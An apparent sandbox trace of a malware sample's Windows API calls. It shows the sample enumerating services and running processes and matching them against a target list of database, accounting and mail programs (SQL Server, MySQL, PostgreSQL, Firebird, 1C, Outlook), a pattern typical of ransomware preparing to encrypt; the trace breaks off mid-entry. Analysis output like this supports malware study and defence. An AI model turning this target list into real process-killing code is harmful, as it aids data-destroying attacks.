[0044.013] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.013] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.013] lstrlenW (lpString="CscService") returned 10 [0044.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.013] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.013] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.013] lstrlenW (lpString="DcomLaunch") returned 10 [0044.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.013] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.013] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.013] lstrlenW (lpString="Dhcp") returned 4 [0044.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.013] lstrlenW (lpString="Dnscache") returned 8 [0044.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.013] lstrlenW (lpString="DPS") returned 3 [0044.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.014] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.014] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.014] lstrlenW (lpString="eventlog") returned 8 [0044.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.014] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.014] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.014] lstrlenW (lpString="EventSystem") returned 11 [0044.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.014] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.014] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.014] lstrlenW (lpString="gpsvc") returned 5 [0044.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.014] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.014] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.014] lstrlenW (lpString="iphlpsvc") returned 8 [0044.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.014] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.014] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.014] lstrlenW (lpString="LanmanServer") returned 12 [0044.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.015] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.015] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.015] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.015] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.015] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.015] lstrlenW (lpString="lmhosts") returned 7 [0044.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.015] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.015] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.015] lstrlenW (lpString="MMCSS") returned 5 [0044.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.015] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.015] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.015] lstrlenW (lpString="MpsSvc") returned 6 [0044.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.015] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.015] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.015] lstrlenW (lpString="Netman") returned 6 [0044.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.015] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.016] lstrlenW (lpString="netprofm") returned 8 [0044.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.016] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.016] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.016] lstrlenW (lpString="NlaSvc") returned 6 [0044.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.016] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.016] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.016] lstrlenW (lpString="nsi") returned 3 [0044.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.016] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.016] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.016] lstrlenW (lpString="PcaSvc") returned 6 [0044.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.016] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.016] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.016] lstrlenW (lpString="PlugPlay") returned 8 [0044.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.016] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.016] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.017] lstrlenW (lpString="Power") returned 5 [0044.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.017] lstrlenW (lpString="ProfSvc") returned 7 [0044.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.017] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.017] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.017] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.017] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.017] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.017] lstrlenW (lpString="RpcSs") returned 5 [0044.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.017] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.017] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.017] lstrlenW (lpString="SamSs") returned 5 [0044.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.018] lstrlenW (lpString="Schedule") returned 8 [0044.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.018] lstrlenW (lpString="SENS") returned 4 [0044.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.018] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.018] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.018] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.018] lstrlenW (lpString="Spooler") returned 7 [0044.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.019] lstrlenW (lpString="SysMain") returned 7 [0044.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.019] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.019] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.019] lstrlenW (lpString="Themes") returned 6 [0044.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.019] lstrlenW (lpString="TrkWks") returned 6 [0044.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.020] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.020] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.020] lstrlenW (lpString="UxSms") returned 5 [0044.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.020] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.020] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.020] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.020] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.020] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.020] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.021] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.021] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.021] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.021] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.021] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.021] lstrlenW (lpString="Winmgmt") returned 7 [0044.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.021] lstrlenW (lpString="WPDBusEnum") returned 10 [0044.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.021] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0044.021] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0044.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0044.021] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f92a0 | out: hHeap=0x5a0000) returned 1 [0044.021] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0044.024] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.024] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.025] lstrlenW (lpString="System") returned 6 [0044.025] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.025] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.025] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.025] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.025] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.025] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.025] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.025] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.026] lstrlenW (lpString="smss.exe") returned 8 [0044.026] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.026] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.026] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0044.026] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0044.026] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0044.026] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0044.026] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0044.026] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.026] lstrlenW (lpString="csrss.exe") returned 9 [0044.027] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.027] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.027] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.027] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.027] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.027] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.027] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0044.027] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.027] lstrlenW (lpString="wininit.exe") returned 11 [0044.027] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0044.027] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0044.027] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0044.027] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0044.027] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0044.027] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0044.027] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0044.027] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.028] lstrlenW (lpString="csrss.exe") returned 9 [0044.028] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.028] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.028] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.028] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.028] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.028] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.028] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.029] lstrlenW (lpString="winlogon.exe") returned 12 [0044.029] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.029] lstrlenW (lpString="services.exe") returned 12 [0044.029] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.030] lstrlenW (lpString="lsass.exe") returned 9 [0044.030] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.030] lstrlenW (lpString="lsm.exe") returned 7 [0044.031] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.031] lstrlenW (lpString="svchost.exe") returned 11 [0044.031] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.032] lstrlenW (lpString="svchost.exe") returned 11 [0044.032] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.032] lstrlenW (lpString="svchost.exe") returned 11 [0044.032] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.033] lstrlenW (lpString="svchost.exe") returned 11 [0044.033] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.033] lstrlenW (lpString="svchost.exe") returned 11 [0044.033] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: 